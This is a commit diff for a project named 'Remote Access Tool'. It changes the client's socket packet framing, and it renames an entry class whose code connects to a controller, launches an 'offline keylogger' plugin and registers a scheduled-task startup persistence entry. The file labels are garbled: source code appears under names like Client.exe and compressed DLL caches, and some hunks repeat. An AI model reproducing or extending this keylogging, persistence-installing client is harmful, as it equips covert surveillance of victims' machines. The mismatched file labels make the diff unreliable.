Small update

* Reduced Thread.Sleep time
* Added autofill recovery
* Corrected key not found in dictionary

Author: arsium

Remote Access Tool/Client/Networking/ClientHandler.cs

@@ -4,6 +4,7 @@
 using System;
 using System.Net.Sockets;
 using System.Threading;
+using System.Windows.Forms;
 
 /* 
 || AUTHOR Arsium ||
@@ -113,10 +114,13 @@ private byte[] ReceiveData()
             {
                 int total = 0;
                 int recv;
-                byte[] datasize = new byte[4];
+                byte[] header = new byte[5];
                 socket.Poll(-1, SelectMode.SelectRead);
-                recv = socket.Receive(datasize, 0, 4, 0);
-                int size = BitConverter.ToInt32(datasize, 0);
+                recv = socket.Receive(header, 0, 5, 0);
+
+                int size = BitConverter.ToInt32(new byte[4] { header[0], header[1], header[2], header[3] }, 0);
+                PacketType packetType = (PacketType)header[4];
+
                 int dataleft = size;
                 byte[] data = new byte[size];
                 while (total < size)
@@ -173,10 +177,19 @@ private int SendData(IPacket data)
                     int total = 0;
                     int size = encryptedData.Length;
                     int datalft = size;
-                    byte[] datasize = new byte[4];
+                    byte[] header = new byte[5];
                     socket.Poll(-1, SelectMode.SelectWrite);
-                    datasize = BitConverter.GetBytes(size);
-                    int sent = socket.Send(datasize);
+
+                    byte[] temp = BitConverter.GetBytes(size);
+
+                    header[0] = temp[0];
+                    header[1] = temp[1];
+                    header[2] = temp[2];
+                    header[3] = temp[3];
+                    header[4] = (byte)data.packetType;
+
+                    int sent = socket.Send(header);
+
                     while (total < size)
                     {
                         sent = socket.Send(encryptedData, total, size, SocketFlags.None);
@@ -192,6 +205,7 @@ private int SendData(IPacket data)
                 return 0;
             }
         }
+
         private void SendDataCompleted(IAsyncResult ar)
         {
             int length = sendDataAsync.EndInvoke(ar);

Remote Access Tool/Client/obj/Debug/Client.csproj.AssemblyReference.cache

@@ -1,4 +1,4 @@
-using System;
+using System;
 using System.Runtime.InteropServices;
 using System.Threading;
 

Remote Access Tool/Client/obj/Release/Client.csproj.AssemblyReference.cache

@@ -113,10 +113,13 @@ private byte[] ReceiveData()
             {
                 int total = 0;
                 int recv;
-                byte[] datasize = new byte[4];
+                byte[] header = new byte[5];
                 socket.Poll(-1, SelectMode.SelectRead);
-                recv = socket.Receive(datasize, 0, 4, 0);
-                int size = BitConverter.ToInt32(datasize, 0);
+                recv = socket.Receive(header, 0, 5, 0);
+
+                int size = BitConverter.ToInt32(new byte[4] { header[0], header[1], header[2], header[3] }, 0);
+                PacketType packetType = (PacketType)header[4];
+
                 int dataleft = size;
                 byte[] data = new byte[size];
                 while (total < size)
@@ -173,10 +176,19 @@ private int SendData(IPacket data)
                     int total = 0;
                     int size = encryptedData.Length;
                     int datalft = size;
-                    byte[] datasize = new byte[4];
+                    byte[] header = new byte[5];
                     socket.Poll(-1, SelectMode.SelectWrite);
-                    datasize = BitConverter.GetBytes(size);
-                    int sent = socket.Send(datasize);
+
+                    byte[] temp = BitConverter.GetBytes(size);
+
+                    header[0] = temp[0];
+                    header[1] = temp[1];
+                    header[2] = temp[2];
+                    header[3] = temp[3];
+                    header[4] = (byte)data.packetType;
+
+                    int sent = socket.Send(header);
+
                     while (total < size)
                     {
                         sent = socket.Send(encryptedData, total, size, SocketFlags.None);

Remote Access Tool/Client/obj/Release/Client.exe

@@ -104,18 +104,19 @@ Namespace Client
 			Try
 				Dim total As Integer = 0
 				Dim recv As Integer
-				Dim datasize(3) As Byte
+				Dim header(4) As Byte
 				socket.Poll(-1, SelectMode.SelectRead)
-				recv = socket.Receive(datasize, 0, 4, 0)
-				Dim size As Integer = BitConverter.ToInt32(datasize, 0)
+				recv = socket.Receive(header, 0, 5, 0)
+
+				Dim size As Integer = BitConverter.ToInt32(New Byte(3) {header(0), header(1), header(2), header(3)}, 0)
+				Dim packetType As PacketType = CType(header(4), PacketType)
+
 				Dim dataleft As Integer = size
 				Dim data(size - 1) As Byte
 				Do While total < size
-
 					recv = socket.Receive(data, total, dataleft, 0)
 					total += recv
 					dataleft -= recv
-
 				Loop
 
 				Return data
@@ -157,15 +158,25 @@ Namespace Client
 					Dim total As Integer = 0
 					Dim size As Integer = encryptedData.Length
 					Dim datalft As Integer = size
-					Dim datasize(3) As Byte
+					Dim header(4) As Byte
 					socket.Poll(-1, SelectMode.SelectWrite)
-					datasize = BitConverter.GetBytes(size)
-					Dim sent As Integer = socket.Send(datasize)
+
+					Dim temp() As Byte = BitConverter.GetBytes(size)
+
+					header(0) = temp(0)
+					header(1) = temp(1)
+					header(2) = temp(2)
+					header(3) = temp(3)
+					header(4) = CByte(Math.Truncate(data.packetType))
+
+					Dim sent As Integer = socket.Send(header)
+
 					Do While total < size
 						sent = socket.Send(encryptedData, total, size, SocketFlags.None)
 						total += sent
 						datalft -= sent
 					Loop
+
 					Return total
 				End SyncLock
 			Catch e1 As Exception

Remote Access Tool/Client/obj/Release/Costura/16417969504A3A17E8DA082932E9D7838863656E.costura.packetlib.dll.compressed

@@ -1,5 +1,4 @@
-Imports System.Diagnostics
-Imports System.Runtime.InteropServices
+Imports System.Runtime.InteropServices
 Imports System.Threading
 
 ' 
@@ -9,53 +8,52 @@ Imports System.Threading
 '
 
 Namespace Client
-    Public Class StarterClass
-
-        Friend Shared KeylogOn As Boolean
-        Private Shared AlreadyLaunched As Boolean = False
-        Private Shared mutex As Mutex
-        Public Shared Sub OneInstance()
-            mutex = New Mutex(True, Config.mutex, AlreadyLaunched)
-            If Not AlreadyLaunched Then
-                NtTerminateProcess(Process.GetCurrentProcess().Handle, 0)
-            End If
-        End Sub
-
-
-        Shared Sub New()
-            KeylogOn = False
-            clientHandler = New ClientHandler()
-            StartOfflineKeylogger()
-        End Sub
-
-        Friend Shared Sub StartOfflineKeylogger()
-            If Not StarterClass.KeylogOn And Config.offKeylog <> "False" Then
-                Plugin.Launch.Start()
-                KeylogOn = True
-            End If
-        End Sub
-
-
-        <DllImport("ntdll.dll")>
-        Friend Shared Function NtTerminateProcess(ByVal hProcess As IntPtr, ByVal errorStatus As Integer) As UInteger
-        End Function
-
-        Friend Shared clientHandler As ClientHandler
-
-        <MTAThread>
-        Public Shared Sub Main()
-            OneInstance()
-            clientHandler.ConnectStart()
-            MakeInstall()
-            Call (New Thread(New ThreadStart(Sub()
-                                                 Do
-                                                     Thread.Sleep(-1)
-                                                 Loop
-                                             End Sub))).Start()
-        End Sub
-
-        Public Shared Sub MakeInstall()
-            Persistence.Launch.StartUpTaskScheduler(Config.time, Config.taskName)
-        End Sub
-    End Class
+    Public Class EntryClass
+		Friend Shared KeylogOn As Boolean
+
+		Private Shared MT As Mutex
+		Private Shared OW As Boolean = False
+		Public Shared Sub OneInstance()
+			MT = New Mutex(True, Config.mutex, OW)
+			If Not OW Then
+				Environment.Exit(0)
+			End If
+		End Sub
+
+
+		Shared Sub New()
+			KeylogOn = False
+			clientHandler = New ClientHandler()
+			StartOfflineKeylogger()
+		End Sub
+
+		Friend Shared Sub StartOfflineKeylogger()
+			If Not EntryClass.KeylogOn And Config.offKeylog <> "False" Then
+				Plugin.Launch.Start()
+				KeylogOn = True
+			End If
+		End Sub
+
+
+		<DllImport("ntdll.dll")>
+		Friend Shared Function NtTerminateProcess(ByVal hProcess As IntPtr, ByVal errorStatus As Integer) As UInteger
+		End Function
+
+		Friend Shared clientHandler As ClientHandler
+
+		Public Shared Sub Main()
+			OneInstance()
+			clientHandler.ConnectStart()
+			MakeInstall()
+			Call (New Thread(New ThreadStart(Sub()
+												 Do
+													 Thread.Sleep(-1)
+												 Loop
+											 End Sub))).Start()
+		End Sub
+
+		Public Shared Sub MakeInstall()
+			Persistence.Launch.StartUpTaskScheduler(Config.time, Config.taskName)
+		End Sub
+	End Class
 End Namespace

Remote Access Tool/Client/obj/Release/Costura/2A8D7F27D79DB34478B91035E83925F7757E8EEE.costura.packetlib.dll.compressed

@@ -104,18 +104,19 @@ Namespace Client
 			Try
 				Dim total As Integer = 0
 				Dim recv As Integer
-				Dim datasize(3) As Byte
+				Dim header(4) As Byte
 				socket.Poll(-1, SelectMode.SelectRead)
-				recv = socket.Receive(datasize, 0, 4, 0)
-				Dim size As Integer = BitConverter.ToInt32(datasize, 0)
+				recv = socket.Receive(header, 0, 5, 0)
+
+				Dim size As Integer = BitConverter.ToInt32(New Byte(3) {header(0), header(1), header(2), header(3)}, 0)
+				Dim packetType As PacketType = CType(header(4), PacketType)
+
 				Dim dataleft As Integer = size
 				Dim data(size - 1) As Byte
 				Do While total < size
-
 					recv = socket.Receive(data, total, dataleft, 0)
 					total += recv
 					dataleft -= recv
-
 				Loop
 
 				Return data
@@ -157,15 +158,25 @@ Namespace Client
 					Dim total As Integer = 0
 					Dim size As Integer = encryptedData.Length
 					Dim datalft As Integer = size
-					Dim datasize(3) As Byte
+					Dim header(4) As Byte
 					socket.Poll(-1, SelectMode.SelectWrite)
-					datasize = BitConverter.GetBytes(size)
-					Dim sent As Integer = socket.Send(datasize)
+
+					Dim temp() As Byte = BitConverter.GetBytes(size)
+
+					header(0) = temp(0)
+					header(1) = temp(1)
+					header(2) = temp(2)
+					header(3) = temp(3)
+					header(4) = CByte(Math.Truncate(data.packetType))
+
+					Dim sent As Integer = socket.Send(header)
+
 					Do While total < size
 						sent = socket.Send(encryptedData, total, size, SocketFlags.None)
 						total += sent
 						datalft -= sent
 					Loop
+
 					Return total
 				End SyncLock
 			Catch e1 As Exception

Remote Access Tool/Client/obj/Release/Costura/4181000405C57C1C2FEC3501363F3BC6BAD07F59.costura.offkeylogger.dll.compressed

@@ -0,0 +1,7 @@
+' <autogenerated/>
+            Option Strict Off
+            Option Explicit On
+
+            Imports System
+            Imports System.Reflection
+            <Assembly: Global.System.Runtime.Versioning.TargetFrameworkAttribute(".NETFramework,Version=v4.8", FrameworkDisplayName:=".NET Framework 4.8")>